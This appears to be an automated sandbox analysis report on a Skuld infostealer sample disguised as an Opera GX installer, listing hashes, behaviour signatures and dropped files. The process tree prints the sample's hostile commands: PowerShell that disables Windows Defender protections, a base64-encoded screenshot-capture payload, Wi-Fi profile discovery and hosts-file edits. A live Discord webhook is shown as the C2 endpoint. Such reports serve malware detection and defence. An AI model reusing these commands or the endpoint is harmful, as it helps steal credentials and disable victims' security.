Analysis

  • max time kernel
    1371s
  • max time network
    1161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2024 08:01

General

  • Target

    OperaGXX.exe

  • Size

    9.8MB

  • MD5

    e70c39d1f1ac0e52fcc52d64fa871f30

  • SHA1

    f17425132831a1ad0a112c75b7a7f04fed73c965

  • SHA256

    1ef1e0470f27e25343087cd3ae225d4dd8711a31f308b314b83affe57b3181bb

  • SHA512

    50d4e45b23b50b531b6d1db7bbb8683a427b9060df77cd993bd6ef36163f44d882985c3217a4d15fab8e53437582d670da7549778918f5c0d68205b61794fb69

  • SSDEEP

    98304:hH6fVmD1C2gnoWoS7Kr7Eg7ru9MvE9pRD4Z4S5bovr:hH31C2bSI7Eg7ySsqBRovr

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1313142704439427092/YKwWrnk0E-QciBzXVfcEmZg-CAYCUchZuAphpzY_DvCmjRKFsYGLIEowP8dExV6arEe2

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OperaGXX.exe
    "C:\Users\Admin\AppData\Local\Temp\OperaGXX.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4316
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\OperaGXX.exe
      2⤵
      • Views/modifies file attributes
      PID:4076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\OperaGXX.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3680
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3476
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5080
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1932
    • C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:972
    • C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:1952
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:2352
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:2608
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:4040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:392
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j3ve5l5p\j3ve5l5p.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1116
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D3C.tmp" "c:\Users\Admin\AppData\Local\Temp\j3ve5l5p\CSC7D647B0243664B6D9B4DA32236CE427.TMP"
            4⤵
              PID:5116

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        d28a889fd956d5cb3accfbaf1143eb6f

        SHA1

        157ba54b365341f8ff06707d996b3635da8446f7

        SHA256

        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

        SHA512

        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        9c740b7699e2363ac4ecdf496520ca35

        SHA1

        aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

        SHA256

        be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

        SHA512

        8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

      • C:\Users\Admin\AppData\Local\Temp\RES8D3C.tmp

        Filesize

        1KB

        MD5

        71afdff5c7dd11fcad691ad25d1a3794

        SHA1

        28f53fd77073765e41bb9ec58c014a554b93903d

        SHA256

        7a71129f1ef1dec57680ef2cdd95e96c2be898856dc7dbf8eb8d08c2b788a9e7

        SHA512

        0b8f526f976475684d805cfb6cd4a8970b3c17d8ce59718e72ec18470ea91da07e09a1f8f90c512751e7f3e23715ee18ede2b03b1c431fa5cea7ff3be52c0e8e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fopqu5b3.bsb.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\j3ve5l5p\j3ve5l5p.dll

        Filesize

        4KB

        MD5

        fbcaa8294051364bea994e98783b8fa5

        SHA1

        60febffc42c89529b97a30fba7911f451e10dfbc

        SHA256

        0c258fae892a06e375bf69b8987d5035c4f0c310ae8bd72df9913746fbb5bc7f

        SHA512

        942997229db642f821a5eeab638664f10e8284bd689c8c81d568fd78c5f3bfe68e1255125c9343323ecc2e060a955f84ebcafcf0156664b595cb7d27bf56e078

      • C:\Users\Admin\AppData\Local\Temp\vzVAbbLIoH\Display (1).png

        Filesize

        423KB

        MD5

        3593a0e0851cb53ecab3e54223468556

        SHA1

        2bc990fd1ab0b102df7d0a55487c95eed570ceed

        SHA256

        435c951598fa05be5dcdc1738c896b4f7afaf6df0b412c15fa3d9324822a9b84

        SHA512

        03d1fcc5045e36437b529ad7a862a3c1976f93fe1f2ed547797d4bc2fe4e2819fd3d92416e1a904c7a39e242fcc2c52ec028522d10c9cfa13de753a5141b210e

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.8MB

        MD5

        e70c39d1f1ac0e52fcc52d64fa871f30

        SHA1

        f17425132831a1ad0a112c75b7a7f04fed73c965

        SHA256

        1ef1e0470f27e25343087cd3ae225d4dd8711a31f308b314b83affe57b3181bb

        SHA512

        50d4e45b23b50b531b6d1db7bbb8683a427b9060df77cd993bd6ef36163f44d882985c3217a4d15fab8e53437582d670da7549778918f5c0d68205b61794fb69

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\j3ve5l5p\CSC7D647B0243664B6D9B4DA32236CE427.TMP

        Filesize

        652B

        MD5

        59c1e6be6f6936fb3d51c9820075b0e9

        SHA1

        04c75d7596c67dcfe0e9d48b34743a1b9e000bad

        SHA256

        af9071addb3cf5a29a023c58d556bc6cfaf11c13b6513f8b96d4e218ba14a3bb

        SHA512

        071b8b7495557d68e2d982c33695f265e0204817b8f5b19c7ce9ba8983d8fff51d455939021b0db3927de36690a1110484b77b376fb73880e33416aac9a9d4dd

      • \??\c:\Users\Admin\AppData\Local\Temp\j3ve5l5p\j3ve5l5p.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\j3ve5l5p\j3ve5l5p.cmdline

        Filesize

        607B

        MD5

        770b6e677e533fce66e9e04eb21231cd

        SHA1

        0563b66058c5e824b8db136aa1ea5989fdf062d8

        SHA256

        7954239076c149ebb4d4662de337a6627c8de98356bd69f582a0113180611add

        SHA512

        6bf0c6d3235e03a32ad1d59cceaefb670ea253c102b4a2bcbaedcd67148113226ae5f6c270ef4e7c9cc79ab360bff4aaabe252a59fb82f17cebf42cec4ef1436

      • memory/392-63-0x0000022557A10000-0x0000022557A18000-memory.dmp

        Filesize

        32KB

      • memory/3680-1-0x00007FFBC4243000-0x00007FFBC4245000-memory.dmp

        Filesize

        8KB

      • memory/3680-26-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

        Filesize

        10.8MB

      • memory/3680-13-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

        Filesize

        10.8MB

      • memory/3680-5-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

        Filesize

        10.8MB

      • memory/3680-2-0x000001EA9F560000-0x000001EA9F582000-memory.dmp

        Filesize

        136KB